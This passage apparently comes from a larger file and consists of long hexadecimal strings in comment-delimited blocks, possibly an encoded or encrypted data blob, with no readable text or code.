d721d7c8a3226b86be69a88f358aa3700c19fe2741bd86d9ff36c83cfc7dca72e9493e2632664875d42614b449c2dec808105a44d24d45f205256b570cc37936c5f60f4236c4aa557b3273b5d0017b212fd7ceee23ea48a0463c313b6fba25f772e6440b2a57f365e625938e415757afd155c87511717d49f88197ad9a9e02e80670405b4f8064700d3aebcd811c2a9fa8c99fed4f094df7e9d43149ba81d809f6306f432226e1e2ea5fe113700ae43e13075502703e71ba8da39e2e2ba7bf12ff51aa219518459246b2a13c6b932aee37fb43ae8dd4ecdd3270255811356f7b55088b8ea275c05ebe4db766414ebad7ff0f03548c254aa227a50cc6178837fa17544891cfae14761e191935e64f27d234f9be27e38176866a6d4c844e6478eae0c2e443163c10df2aba2ce20eac3294e004b3335674d1dd2ab54493ddfad2dd4f5a30ebb6220308d8fb66d87aa9711ff44e4a89500be0be1e9ad398eb225eddc90383ca618bea469663c5dd3a2f86c10cb2a68d0c9579cccc48bb5db435639cbba9fd5f2da3b2804488f973975bf6293c9e5460630e9d86ab0850589a20038c9e15f6fd583aad4e58ecbdd54fda0f553a1d8a38c19e2be43d50d1fe2240f1bc9d430f977e695763353b644f4789a3c19ef21941e4ac04979d519614851bd59e6291bc504ca9f23617cb329bf55dcd0e563cf87a896daf3ae0cbb205b9f6732b93b209c12d443beee02a54f23e90902f0f74bd981ea5684422ecc40c5b4b94c4144cbfeabba98c62780b6429bec62661d6cd160398f635b8d692472dc3efa0cd2e9f8d0f7e948078019ae9ab4630d34045d937143561fc2193a338236709dce46c304a1df57dbeb6646ad4e2773878cd1082a135b4436498aae7c701cf518367d176cdf49a637a61b7c8fa3253e05859810a7220fa03c9546d06f896514515698eb3fb13972ef5acb7474784aed11901e9a07f80eb2f965bf2df8857dd3951c04c414444d691fb064122ae92a27228469d2c931016800cb0971ae628d8475f2d9dfef38b1348e148d011fa1ee998be6fc31b12bdc80df19c9488de919f8e153f839e64ae00ce73dd68e3a406963aec57ca2e22068379c97366dcbc9cd198424ced454cf25c75948df7cb186e05ed505f7bf1c4d54045c79c3cbb95cc581e68d3d2b33ecde52e59dca6bb85701c586c26ae8ed4137dad1967c54a614db5348d6649e5b9de286ee83310fbab32424d30d6dbb221a50241ffc883b527910884bae2da8072b8f9ab80805f1a02d76e8176ecd24d8306089293aad6cff399d7be40af289042770902455a85e1d172df2dd91766e9571d84c5b4616f16971379*/
/*4dde8c3f9a62f8e2bc5876644f0c876589437ca39f8932f98f08d33e4a3577742fff191de5f23ac5db0ccfbc7677a611b9500bad608e0450ecbc28823d7034f839248db998524cbf5f9e63126603ad8607a60e71dbec0222e65c265ef97b9c31132550040ba22dac8bf2f45e7d937856058c83841f0f9a3558d6003bd9b72c24aa76fe2308a07c2d891ef4921cbf3f942efb4f705daf5cda2b2e2f2374ca28401df56aeceb0e9f4e836255d7fcb9c6017eff531de00758a8fa2b1cc599f920321e4d37e8697a4db11bd56a90d5298ddf7df56342f0c13f6ab8dc1c9f6e7838b3492a4a6e2bc608f026f36a61b3834e9d3c92646dca9a02eb4110ac4297cf81f193e01326d773aab5e400898bf48b49a783ef353f9db30dbfadbb80c19fddbb2245bef1f0dafa638dbb6729475be8d2f355a5ccb7ca07688b379127003f432a40e9753fc697658ae1c0b68e0aa4c1fa9e925f6ff2d1951af5bf5f509a9e08fdcbe5f7857cb6885751cf6267b5fd08dbee99aadce9f98b8a0bc6b1c503a42df2d8e07bb24330cbe9579e60b12233d7772a31ca540af14d577468f888d97eac84ee1dac986d85fef632e4c7eefe6e2bd66a7791138fa71fda6897faaa0da45db914b54dc8a95e2c22434c1489f96067a92e5c78a15b1f746179081e72f17a57aa2c1ab115f26e8d7c45cd24b182b21d79829f63e375602414f1ec384be90af0b969fd011eab41aa057a9ea6b7d0014ea4d8b2874515f8f48a79690104c52e14340e137cae08cd7960f5f24daef02f55a98ae27bf71c78a6f89c61c6747f36eab8821d84087781c2647bfb97320a3636629da3568002f8c9c9f3b1f13182a19229b1068bf26cc709fbba655da70bf62c1581eee484a99770415491efeac3391541681e8000e61db99bb2b961cf1767ed222182b4b1d8de742b3be5a28d78d0c5ac69a5896b8c26856c26edca9d2c191dcff07f7e250824358f6ba51ce718a4f557121da9f2f1d7b2268df9d23660cd3eb12c1f27584167a91286966915ce779196dde067c34469190b6e4530e60e7ed8a4b76b8765ec05efc771d27761372a997b32e4f3d8fbeb54c4854f513eccb5583d52a76a2caf03bf42161ab6dd2cd8744658cbb2df24964316452af746a36fd708579c4e535f886abb2edfdc22f6f713cae0e1296644334eb691e6baa43777f7a45541527fb63ab1c662e1553c8e4db474ad39fe39ff68de361f191cb9310de6258154144f4038a2ce9fce74a20c9dc89d8860a256554f1237132f8facd752deafcea1ac8e600b1cfbc590aeda4a30a4eaf28d478a0e25289cdcf7130d09ef213c71e53acd853907fbbc2532f56246266d8807e130d7409743b5ccd3e806fe19e5986551ab921d6cb26f74f1e8771bfb71e14f99a61b302f310c43e67f22e6ca5969df00458e68d8306aca169aed7008c211d36168eb3e0206ad89723526dc925d84f1e706b120dfb94064c4522f923110137227ac8e9aab17fdbc638807cecf03e931295d912d4354cadbfb5aed55e1d55e1bb493cd49dd83f6735e8b22737a79d5168e9d4d760dc6c11a7ceed3e8024fd617a85029f820a82415d5462a7b9d8bf4833aee515ec7b3df40e926eab16bee2c04a4997c3036691ecfde18639e2b1566b2794bcd430300f478abd82b034a5033f165690b4f4e5b430cd5cb8fda8c8c24750bcf6e341c42e1ad804ce4c3d7f7df041e84b3848379404afe5691c18e0e8464f627427d2368461ebdd44a0fcef5cf45fb329fc73cf24d2a447546401a718d4055ed19417b5f2c6ce4856ec43f26ab631d6272a6378ec727266f3dd078b76793f5bca21903a718eb69b9a7003cfcc4b5614dd0431c83a4726cce68c5d6b889dc23ba7e435bbc704a9d1217dc87cb405aedbce3d575e37c9383d67d3957b3606521b89dcb87c5cfe1a977a0c9e9a7d2e33a613e383e2623c4c5e0f63d9131d26afc6d753260419385635017acdf7f929bf531846c96cfa8845e04d44f4a5f11fc6836f9faed15761b6cb3cc80459fbaa76b9dcfe40435dce40287bd6caf02988da43dfd37fcd597dd48d14b5a36c62de77073e3ccbfa1db31ed1762bfab911788282850f9ec69f1af43a361be34a99f2edcd35b5bd8fa3b665b3da031a0066282a73151cf7007a89ab2ffa42c78628734a927a43b15d0e62f530f6445c8a3ddfedbbb04c6155de1f77d01208d51a386d9c84a71c575b64ba9e66e86f1fd102ed6e99c9b95224e27721be5e0f5412ed806383cd18d97269f9d9d0af4514afa9ce6c46aece1572fbdd4000a051e27b403b2e0aa16bddb06ce0e75c56696e8b04b3efe6bf4ca1f82410b329cd2b036e60ad3bbdcab1e9411c46b5efe0640f6a8724269407780d208464c3cd27d355058610021f9c62ef43eff92cbe3e34724902a3d7d6f4a649afc8b30604187adf0fe942547beeb9ff5618ff28fe8bf6e3d805f839af42d94353210b2b0d0ad558e573df4323c095b58faed1d403cd30d157901f8eeed349586cb7e3c47a314a2490053022f8d1f41dfaeec861ad5084871bfeff362a49d37ec5cb64204619b8a0d96c66db2603becb86bd44e7498388637bd02df8faef17085f7d251d7c01120e049260157570ca1e0fde7a812ea71c5e0bef2b65b38e1d37edc695bdacee8051723b5d9383869facedecdbfb0be47734192a56c40688dbe1721f7fc3ae0aa63404235609da39348120957cdb1c16f68ff7b21a5866697d72d88eeee143f8664f06c2bc69b1a845172ba9b07aebdcd35e6a809f29ca69f992d6f205301db48ba7f4a6f2f96362b2418c4a7dd927557af408eb0*/
/*ad8586d63bd7fd50e3009d723ac4f0bfc6c22ee9ad1d858c11d395641e9c5b1baf8b526c3b92fed143bce37ce7b5e0c2cd40f65da7976ffb7bed7730a638a29ec990c670483e00be2f4dd04ddb0069b418d73fbc84fefdb5b5b15a105e2ec505e0ef946541d3c2542c2ddee6b00ffc6fc789d42f762eedb7b153cdeb9647ce6d9de0395bf3cfcd44ad930ace8d451d627e071e258f871b7bbf3ba5eee49d7e9847aa14b13d405e0721c8cbb8fa15a15057a79bc415e0f72cca8ca2556c99f1fad20ac5401bb6248a1998086d35c85010a56193cb4049cdba1b0aae43c40bd295d62138dd2b02d1da839f87a6fcaec1c37154fe2e787f9562b46348b7c48bdecefd4e5fa950884305230da32682393c5499786c4357895ada63360940d5814c23b691464b8cdadf4c0ab5b9bd9ecfba5da48f8940bec973c7d30a11cdde77cef27238f6509e8259865669574a5dbe894dbae69c9dc43cc35eaf4cd5a995570efa6d6f67e0ef76e25c931e8c871ec122fa5f97991654e68078334586727df2175b6778b0231cc86ecb16eb00adc1fa482c5ba6409c6ef13dbc3b6b26f5e167642e2dc8e3fc3eafc33fdddd692f16b2f69082aa66d274bca844f0e462bd0f7e4657a19887d58d524b495a5ffed9de502db1eacd12a5aa53c2a66ff40d238a40269540f5888e42d7c356969f2018f264316be4b3a4a30493a68f8a25d54dac23611a62c6d95b512a79e561d6fada0e0d68a5589824f4e4bad166908f3eb0ef611a4992f1feb898c6915eaf8cf5205c391995407506f2483e1db07b979cd8707f2b303f94110267aac08d5424af2af798c921f52dc00c193c20c7dbb7ad36ae07bc30d40b637c9b662263227d506195675df9bca34b75d436dd3efc207175fb680c2a098f5aa2f2f263f8e0df1f1dbed99e9b277e8bc96d30e40ce733d5afdf6ea9823585583d17260b40c50c0a6f3134134089f6770bad43956a33ee77a8f8eead3b65726e3322d116e5b8d350a97b60120baa6cc739e0b87321a5b7cfe9a6f86841daa189d42c5602ceba8b913258e2e44a54d0ea531cb8168c5194ae41d923c42584d47b2554bc168d119eea0cbde8ae474146db7edd1938c3a93101be0b2bc47e32d28f8e65df6c31d4b05f7c0c72ed8bfae30b0556e00a26b64f8ffdf347e994e3594fff8fe4f60c28374685c9cbcc78a2c080d787d15a95a6bc2861de71a0688f01543389fa9cb4e36f561fe84b7a6fe0f9641818c678e5b7e71681a6beabc223ce82f32090e41310b30da5f41d3598a3e6e46a3f4f001e4a2fa48288e02939191168e61cc8aafd378b4b8a2341b891d84db2605b9a8f2f02f59da3c0ee5a1faab6608027ae48dd1fc5fbe2c360eb2cdc1dcdc533479a7d94750624485b1ab31c3e6d8f7d3ef2210434d558fd25b3aea402be3e40aded05615494f089ceb9ec6f0619225501572ecdb962d1dfde6e8f0477a215f3c7646b2cfb26d7ac8003681f4b98d3eb802f242e25372a38db2079596714a1ff0a079ff25551a8118e51cdfe4229ee579f98bff9fcbc75b8f6d87a41e516d13a7c5b4ebd6c66b4fae4aafc4b32526b1faf0621eb82af206785efb192696b5c5e0526ed7d3e5060611488874ce6ffe4c8aeaa8339aecc02269241a8f5c497eafd2c09ba1041eada33c641d77d5c5adb84c83a13dc19afaac646793e01fd6b16bbc979913b7e01f1ee1a5a7a29f79b9973ce6590fca695111fac5111d8fd752ac41de889af0c085d3d3639f788e86b6b65829684dc6c5caae630abcefa12642f920c19814cfe8eec9600fc66f84af679bd3c99840a378df9b900d8dc40c5ac66c5b9aec0965b933e028ed6d4be35d8c4817efa6250b03cc978332ef2b53c9b2085d221968f35be9aa4542cdceeed0b4f3a3f42f2ba15a321c4f5ee54d3bd7bd6baa359824b65b6b990a569e8f7ba35fd0140ff4b5f5708572e20641481af8fd2097fb3f20a2d0ab43d2ac7bf66b4094687d1bb21fec860e8944faf11317142fdb76eda6834681734f2d619baa42c4a96ab426ddf220e895ff3374f00fc1868f54bdd21f755ed9551dd41ee4db6129f0a47f256b519f1b84f232e45f914e819f63f6628fe67a2d1ac4095ccd478d669f4e8701be12b2065a38cf2d06477e85dbec8cb5a645ec1c1998b9db60ca567b3a2de35cb37e97745d840777231f9a5c7a3c6aff5af16b8beb597a0191acaf67104a3cfc4ea48159523bd555ad4fc4124950f3498d14c8dda20d311b64ef736e7b0527f8fb1b8bc7e8fc48886f4d4ea4cb6674df1e4f947b4cb4c28ac5ca60e9e04218171e4dedc8adaf4006a04150a55542eea2ca598abb6f87e2c60a501d8453f5e7b6782ad73fac3511618d698f40c2ec242b16690cca141bc78d36e9daeea02c038772765260488061660236a6f106288dab48aa3e2c6ecb2fba29d00da0e7e53dcbd8ad6d297b02992fc8d58cf36fa442dfb20e30b5a8da0a413da5248690cdbdb7a96da70ad981f63e5448e8ec1316b5d23a470989259a9f668d3c130387f3120e61e029bf35019ae880b60906c1f75f94463a2ffe8a1601bfbb8a44016c754805807689afd7a02ba2f38a60c4e0514f9f6f20f491fd47ec00ba66400a70c6649eae5d538cc081eb8d0ec56e840afd8e8d89d89e6c1b855813b08042882bea31081ccdb82d72beab6f26bbfef0404d9a4b8f343d05b20dc3d23dee4f411dc5ba036237a427f7cfab35f6bcd92197ebff23ce823ae472e52547d12a81853e6a222c07adb7cce7ce43c16d919c103a6bc8cdd51250943eb298ed011ed0ec3e6a71d1854a2e52ab991380091*/
/*60e69be5eb2dc63f006af9e322dab4017134e894180629b12983482f07facefc7990c013892bc12556fc812d2e01481f8c1842572e008683d0b9700b997a4f50919e57dcfa526b1a31bac7ec6d50e39b3dd15680811a87551ea44fe6bf0d53d5464d91a3cd9f27d27b178be99c12efc1afa433b4482ff21c3d00fe612d528e8afcedba32148b6b6db97aee35be6bf257a6f09bdd89f1f95856ba3d8af93cb4514bb7cb7d189c136d599fb241f3e90ed42334fa1f791306a36ae838a419e27c4ee65ac13a80a777e9a0f99c90b07f51e15812aac6ed40758fbdba64f6cfbdf117a2c78bf0ae79a8248549878ef8706ec1865d9550b89ce865f95b209dc790b93477729df29af0611517503496477aa4a4d0639d7f0d322a1de6be862110f4a5a840e4d9e3fef762d34f0f646c182a86f7237342c02ec04b895cc78e65fc27bc7e3d12ec4b07f065a82f6c5e4beb78ebcf587fd07b8dc81eb718f08e97ca3ae9bf1d52cba21cefca5d066ef425adfee4b5f6f9511dd41143019c40897f765f3874425d2ce76bf84585143db047164ae137497eb9c333bafe0a4b253484c5069428e987905dbc5a8249c46b54e9c675aa731bdeb73aca4ed50a5ded766da970219259185b46ed377dd0c9c2af3618056fc8b4732283b223eb23e732c87896fdde3c2a785061814741c13cea22f917713a1260affe4739c29241002e6ff1badb748cc2633d9133ee5c3464a8a8a28ec14ec97834263637b0f64db864e2d35f18cf1d4cd955d1e23aa0e27029db55a883454950a0e2418781eaf9c807b84edc6ab54b4f918be454d99e3ffa1d5529a6aacd3ec9faedb7b01ae283e6c468f8c25f595be5a2a8cf086063a0bde6f4fafe1c00a0a7fd985678cad464d82c18b6f8519811d940c35884e5663b54ba87c89d6d91023d923992a289062ff422939edd14e3126852f340174ffd95725621187c804019dd66ab82e82dc622a8360fd48c4b27fcdd29f5fb62d911dc65d9502f14f355600e24b5223b58b07c6fbe845b2156a5e92dc20194c52084e26027a8c6d36e3af7cfff30b5f7fdd51c1d66020482ee7fbcf71a23a2f0b5c8abc3d3154ed6f46d762d823d02fbf0a3f15e9b94d1825c413508a0b76d4140a70c1009e14b2f45f3d035cfec948702874ea966322cc33dd16be0407644355d3fac2de96b3e8cc71180afa808597ac12f78bacb564638b7cfda7f7812ec8805365eefa8d569ccbfbd6faca14c6ca9ed80f2ba253342657ef45516a8860a7c0721b51abf098e035c0cd0cff8c04c2e2ddb667f9a098166a129bc7375bc814462904998a8f3fe43ba684a0793413d4cfa970beec799017125aacc37c181134099edd5bd8d00cdff42fb613653169fae1f61c644cf84bbae56fe7562f916c03d7a98c0cc4a91fdc392ecba6393dd901bdec2ea61617d77fed84452eb87f5c40deb6eb571448f4f75a634646b78a961ccde101770a24e92ead459a73e33c6534c2f0527603f49b57d746695c1e56090f089a55bd9fe8274e0d90bb233c4cf49da35a7902efe3329aa6914c8c9d2716cb814c7878fce2763d53569e8c526edc70f37eb312a995e928ffce01aded5e68f31f9b742b064920927cff78cabed21d4b252faaf4db65ae23fa1c45aaf45032b6cda74a330261f2f552e04eb2475da59714acc0faaab36b6131221c1113877e3fe5d13d7409be5783d3eb0f607de2b676d34584b75e3024c54cd2963afb50ca14b4aa6f344c0c56a06e38e6111b22e38d0bcf59d56bbdbc9c4c81701dc44158537b260003dfee6ff1c939d52af4b9c2744b4e62a9742dcc1e7803b4de01f011975bb676a2e1328c5bcefb8d911f7521324c183640f1643c9efedd2e571c9ab6e3fc8d63c25c06885a91003e543bb54c131af448baccef47fe7bf5d1d3ac5b3edf9b0d56d1ce0de12ec6f2985def3c1b9356cf486f48dda26c4d1f2c113b4e1b201c9fb4e45091a019b57a0ba26b9ae1f80b9fe8ea90dbadd40353227f03c6e2f503fea2633e17962240c3094e3f77f4010062c97d6ef42104fa002cd73915b25604879b989937cc20d18ca4cddc859e1965c8e88e2d41f51ed6688fbd2a4d3dffae76c86d18ffc8a35e5eda01b331fc9db447e32711f188e24f0c8e5724571d35708ffc4432a8ced0a1e8b77bc8c37ae5c655d19b4bd862c8dbfa4a8ab28e0b838feb7c5f93e04f519402b036bde6b85a61cfcd995893fbd7b6f9dc52ea1b228e101badd7b2abd09b335ef9ab21d9f5c059e9cffe185509542872a1cecf949316a7cb72a87a37cd996175984f65c9087a2d9ece3de373f7aba75345502bc36f7e915d341f710f8633b94941cf426460b451250e37b1c4272278cea4c88b9ae47d7133b513213565495c16cf68e28efe39c20b864d042799eb8ea81792963b38de3a6d4b43835170cf005efb5cffc71d6803ad163c5a70c352497c52c411d34053bf1ae314364d57ffe424d30236104dad8a89a41c4e69d5d80ddf213d568a3486fd1408be1687b3a220b000f0119689bd8ba26509d8d65eb33bbe175ac96977c12fbf36787758effaab2b7dd7fe7a2f1d8a1372d051f85a7c75a509f43c837a022fd40a2e3bfb4bfa71ec9b7daf4ad148ab87981b9fa81c418bb7b44fb6a50d86441cfcdea3aa7a71595cf73881d895dd1d781627d07ea9539a3de3fe47e5b9078ac5536df2146e02eb793a9d9fe92d1960e6ef8eef7e92b934542aae966e545c8a3ab300139f503693a728f5f35cca645439197365f6b5c53b58f4b04d5b2db51666b58826319b737ad535d465abefd68db67e0f57438883d8f8206*/
/*7cc4777497e65b58715c4d1aa1a9ad46c03fd2c9af2853b855929cc08977c6d6fa29db1ada674aab5431704b27cda30950b353686cd9b86f0bc2188011ea317dba1ce856dfff565a21a7b6f5ad66cbd5f02577f3bee4dc670e9b21c2436bce51e86df8a735d974e1ba01777e8d9afe8ea1f19bd179e4953c734081bc68bf0c460b9a08bdbb151213f053fd4dcc591de110fb076130f6d7a7b47035759dc7102dc1be30d41289ebaf61fee22dc1bb1a70ce629a6b033d4c124adbaeffacc434fdd1ce5a7cc08e10973fe69e15b8eb94edb342e4ffa9c489353ae90b10c69117364aaa348b2037d6e3a5f06061485346c4534f36290356994597b5b769cbdfb2366c21473ea6dcf5f9db99b59b167b6b735e1fe5dd5288cce3c5a855586ba7d72d920edfcfcb72a1220ec08062415a3531f973f937f425965e6246d7cf04eec0da6bc666169f89990551443c98e682cb57dfd16eb54b99f362ac078798f2eb29ad498c39192e7826fb7a85656f4945d50aa04c43e949c61e8804d9722ca6b8196e7677bbd29801a59af7b52e7945b5c51fee93eafb2684e1cdb63e1ddaaf4d813665d41d8d304995a6aaedba1295db6c924aa75962990fd48de13a1ef87f475b396a121fbff941588e69f03f9fb3351204cef5634cdb4ea4d877374127f74609bc07a1f8a8d0f92ca3af8dbac42c2ad6da373b2111de5ba37efc1a38fdbaa798043772dee765e41cc96a9ae8bd91ccc403aa473d590d478b7328f0da851e0e7f6548318a0e640d5b101d25800179386f342ebdf4b708d1ab78fefe97ca58ac0336dba0a0ff741522bbab4a16143fa1895513596dc6d7a5472bd7bb7732845ea679e1bf95cc0ad7753b6c653d57f3f814d2b9747eb1d89832d4afeed7fc0d4fb73c04cc5d44c0445283696a6891c5b1cae3d819d676d109824897ee7039c70068cf1bc7fc220d0fa7a1513d9d5e9b5c08996ab584e37becc8190e1b8a74d1e550652b8d14f72c462b393b6db1e5983c0970e229445029c9297a370b56a44c54f5a304ad0f556c434c5a247f2239bac2eb72ff7f06742ccba7ea125f03ff4734ec991e5d084df2ca8c293fcd70a9e4ed1ef3db4d448c9c5d277f39d7df16881ace2dc07bfcbb0b510549b7634c76d3d7026489c6d561337c235eb6ac0c11d68db876b1f98086b623b56513e3024be5228b7662c68290edc1852d3693919cf21bd5edcf92b1bb465a4249a4e55d8b2ac2f6dfef9e533b15a9aaa0c00eb223b92f56b4eff1dfe8b35034ea21aa137be267111b65b6354f910b68b8da92e2b779428d337addb08ca8116253f1308c5c77554c58341f981eccd4cb6c93d03cfea320ccecb15daab16be26b8ee3e84a7775a6457ab2c79825a126bec5df72f214c71e0add399cd241ced2731c76386a3237e1c71078a4ad1c89de0f5e6e747348685ac5163d0fe71f0f1f3e12e88f7ac9700963b2da7bfa9202c49560b24ffa763ef4a01318de79e8959a0eba01535059819311421ed874ff58a18f9742a098b87cb539920f1faa85fd7d8b8ce9219d70f4022b8ca474f2fa68467601901a19c312707c443c99ec326f186545eb5fa3cde6b99fc45f303f6b0d4e751c88479a622ac158cd74dbb1e3f4adb4518ebdff34bbcc5778c5db083c25a6c72df07ef1effa787627c45d52347e8441b7517820ceccf12a7a4451906e9ef3a0ff39bab1589828f6219953ac881fa430fbf760065936ac74f5c79ca24c2a886cc4e0bb9a937e8901ec50973dbb05c16730d73eacc87cd5bcb01917f2bd7d1f340cb4b4a4d68f61c6e8fb4bf040b5cac17b0911b43a3ccae49595f11425f7e1deddc57c281045aeb361bb7376ab8b160b0ed807e5c2cf590a397faaf76a271cf0fe320e5bfa81208f0586d26cf68f06c9d49313ac09b3f92532d1aedf1839001819f16bab63bb119b3a8278a95e93efa6b1ca9c06e9d0e5378b2e7e1c8928292bce47632afefadd14fbe5b561163804a86799a22a475416e42243abeb06fe0ea2443afbb38f30a89ef4e32b67813be2b8c73c64a64fae597f26bd39d8edda34db330fbfcc1c177d3600402b4f3bd3426f7e0d9cde6dcf3084481d269da3d5b2db6a11fbe47c2b672d3808c9f5567e0c399bd790e66f8b168bd3d01c16f98cb1ee8c2c742d3873a0c6e7559fcd1cd14dcad951e0eac4b6b097a21cb13836753ba757b300bc5a6aa6b85db761d2aa2e8ff879117ec0185cb344d8111c277a5f50f61bce50511a1df2f705020ab74d56a604716ae70a35cc5921391d71c47620f3537a4c56acce69c91e9ea6159f99ed88ec23e2b18538e9fb9b8a87f66ca2a77229a449eb8a215ec59074e6f9c18ad4da630ff73eeb02e3a951ee57bc7157e40cd94a7608200ce0d988ff18b834a4754c55f37a667e9233192655bd966ba69563bb3415063e3b0613132139dd68ad3464adcec77f8e712c6c56be11469bbc7a3bd8b13f65fe6861ad6993697ee23b32b2749381f99a71e48638af9634861d7b2fed24bb457b181d61cb621a38040f2e6c7a7adc8a4bc67492d154da530e2979711e4f5b3291be3ccfbe0096d7b19205930309d87527754e8191576151f4ac68e971e4da5ded156927c6fec03457ddd2eac0447ad1910593e231fa550561f6e4aa9a836136daf85f60b5ea1e45a66efb2f762138ec50924e9d8a581f5aa3540645987b49bf50b8f31c02e5d57364f8bea5ac06397b1289c77ea66bb7e89d327f16986640aaa1a594f6364f7bb4bf6fe171245c02c3c6806698e4df7b68c4d69008c86adfea9bf29f01b2e1d2ac2d772f8e8c41912bae33145ad567*/
/*2b109e2e685bdfa94efd427edc1d2750a7ed190323ece388122a6ad3fe51f7be1dd79af43062f6c08f4594a85bb0f1ca3a54088dbbcad8278f46799912946482649c9bfc504eca0c46622eecf25163e4d7b3573a334f4cb5e633709274f98c77bce90388fae8dd5f87803df3ed44fb602d1caabbfa84a04f0c59b9c08539ee469dafde725c4f00842f2f77a6f168baa6d4d69fd19fbbad58ac57ebb2be95e970954620b56af6cd948cee2f2bf20136ef26fbc7ddb38da1cf27ee0ed19a414685aebc82b2e317bb63b2f0e73de0d2245a66994dc4a2a7c3a581bdf8ff06b62fa966fde10888a0b20bd6fe61565380834e8edb18657cce1f7c0b15e916e59140c057e4d067c33e5d4f0805b754619992638adf84e8c3db8ae43fbe65a54bb5c114c8afc8005d1d64b8445e8f15f346d54eaf5cda898661256ba946c4d36dcbd57cd3d1e3622928b71fa0e9abde0fd8cf414340859ad51279ac6f0bbbca3c0e1a73e00422e9099907bfef6ae8edfe98c05469fd482d8a354f95d19d82e21097c7b7b9d4a704de81422b86735d00409399d9cda7d8d8a11897f69e8dc5832ce7c6e44893ad874e79ddb8089e0490186000925167fb3fbd3faff0e6f14fdb638194c73bacb7d0dff38c51e32f97a4f43c4c5e9087f067a2aa18df3833300ea3731a4468bbc2eeec398a243664a6f572d4166948508dcab9de4b74a99aa840e055cc377909bf33951d622c6cf02d71613ef55ee0e833fca35fc1d2331c41958714141f204d067b6d65a02f413f0a570dc7eb9af77a44e4bf94053f72418a7a09df77e299dc6462d446f470dd4790c8501b921cacedec9481170fcd039a09f98fe6d147caa14cc735744b0ea772c3af0139d488e54f48d0b27ca6bccea64b1b174a914eeafc4ce0d5cd9bf27ad7c17e4dfb5326b6ca8ba0ca727762eded7ccb38028a3cd4a67a85fb168dbbbabdee7321fab50d9db6d0d6011206cb78de53b95f76215d70a248eceb9eaea1a669da4773565a707abee03865707d1378be668761093721a0cba6e02a90735ec67c07b94ef8183491e7162bd5e538dee9b866284eaa52f61595a060633f15f5c72f1b07784c739de462fcfe3a91f3c3bc27895cc8838b4e9f18fe30103d9ea080deb049839e2c5300b73d4e98853953e5d65478bce428a538d3dcc825e031cd78e8fec713c38bc81a696e5ac391e027b77866c4064d53ffc433d74f938c3ddab147e9ff434530ec168308cd8325e295a721e86645c072ef217f0ac073ba1224c30af0b4231c26c7b1c318f5d533d0da647d2ff88611e959611e6d4d1a9ed228a43ae43743e0fe3d020cc7ccfc24025dc71bd6e316105210da2affb4ba42ee3505062c82f991ecb8e70c4cd32b4a9dc4cf4fb648fcc4e6e9c37ef0e701c12267f7935d70bfffc92d5c4531a7b6047c9ff358796e186ea2893a6a30eeb92a92b7aab3e7d77d72efb06fab4e13760445d9dff9d934fd6f7fd45e4191e9e4b0608bb64eafb1e2d08953ac5704e9f70e5fa0ab070dec59b65e9ad19cf829cedcc8b891aec7073a0ff4550daa72cc7278e5f98edbaa57a8a0c1a9e7a69d5b803b221ef429111797532852ed367c54a445a2aeadb16dfbeb6b36c6fa56328ad2e679213ed69d94cf6b1d9a90891bf8b31569ed66667b45c8fcd72b6118817fcbc22e5ea335993a2bf2407478d8d8c6329fb78a2e84c2c1593675b30563a70e7c56cf44f2793fea7e39fcc4074d385a41adfa23cc0600405d98994508cde4e1b6617e19d805366bd949daa83c530ca50261ce0001803fd5222673fa1024735fec87c9e32273919aecac9e402b2a45dcd1e7848887c319cdfeb7e8c67b3a220650c8d193a3f6af349f58f56a2416fc1ecb84efb2d8b2158b05242219d0dd4ecf056e349df061cf7be8fa349b3648755dbae7388b6ed94cf3e3699e0ada1f05d663cd92448932b95dbac02544a86baff20884efcb69219612c582fe05233cff110cb864b937abe9a809b538137ce57ddc20a633908ac2c054c1c4c7feb6ca10296eb49f99e39e3cb8991d84aa6a2f8bbdb447c2aed257b2f50db5e3de0ac07e66315e5c6ee2ec40bf4260bce50ae3c0923e7599320881888686009d37b7cfe6992c99320883d402fe966ba66a619b92673a763d35f8b4f4a301797cb2f6e1289c15bf6e2a52537328c9c5a9d49660e206a61f0c7704b1fb1a9447eb38def24a4e431fbce7eee5b7b313bffe38df02c89dfc53195c965dd36871b56c7741cec3d753cd918acd6af304c99b19eac9ec9b9a451052be61e6532bef66d1e165b3caecd46394ab8435a2a85037771b039facd2ac696e04f20a91d3cadc82d418604f3121b8b374c1e44642eb7d6044aa643bf9b2cc5b5e3dd4a13f3cfd15f251b0783b7bb1932745d2cca8e09787c892dd83696398fdfa633ea6cdbe0a50faa95207f704d4862ad5a050456b1ea244db17c9bb1c9bd23699cd8525eb3b555b5c31b3d5a4ba1e2d4538dce97eaa947571869915e5b8fa30b6f8f41c8bbec033e23babd62b5f1d888721c4437ff2e2c610a64ac1b84b88b0967d128903b4000590be0891cce16b1d87e6eb41b52639640add94b4210f8f46cb942065c3e6d649a4d1005c64af2617d4a57d92bb7f90df62c68bc9f253478479e466b99bede0825d2782d31d95e6e837600197026f9aafa2c9abb063ca6b7a5464422ebfd7a559c5b3d192754b97d59bdda3044503bf0099b8df0abd2028bf2307f31bf33e2e6492aa4621c3a0d598a5e3086d8ca4d4c9370d72bdf866176b722844458520acf834cf9d809ffd6cc25b12cfe4d8011534*/
/*3496ed74dd47f08e5b6ec7619ef651f8ff5be8b680c25529d77b870be328ab5dac23b6e0ae08b4ab5b737cae7104c51114b4a1fe2a56bce585e3dc3fc0ab33ce8d249266378d863a9a90c6f47bcbec39fcc810a61c6f8144f9051c9500e87517470f61358a08b682da639498667d56d6662f60f85a1fcf0c3d9557ea8b36857ce3af35e60fddafbe15c7f63dd77227de109df1e758a03bdb477befd7b42822e53bf800dbfb4c1d3632c86b74ad85b79254d557185e26b27684dbb8aa4ffdd7092120c33a4a5a103e68b07b21a7b38e74eb412547f14a3549681ef1e41272199f83114cf98560a91551ced8aae085224d9012a423fe29e8b78c0d43f3ba1c1b320bf8013e34919d72062c3a1c45df90584cfac0aa487128c7868e54b45c994542de6492d6e8d703df164924552e438c0b2fa6b187ccf2518e04e4e9a13c2e912c2dfc30bf54707069187b3f62e789a2eb3d583c2425a3cd9d36ba50ae87c4cbced27871cd9eca1f926b067c4401342613c0c89da670f4e87fee99c3103949ef8b37d21925de4c08c3d042d365fcd6121426647b2a4576a63a5ed8d3858c12f491c2279e7c11e86de2cf70c49993eaba421be65b013d0a1f544ac0b1d4012e5955dd1e35f888cb104719d6654068563669b0c89209a81a2c14325aad430bcb6c6b4cb1030a07f69cc7e126a2c26fe95b088738bb0ae3bfd040857bb046bff6fd787e5534c0b45e371abf1d06a18c3dcc5870ae2600dd59abf575a2d2ddc3059410a23f5993737bdff3f8c99e9c814ed807672bf6fd116b4a13380e611aca888ef084309c35f0e40183761d34d5eec528546a74f44046eb724811bded8b363706432fbfe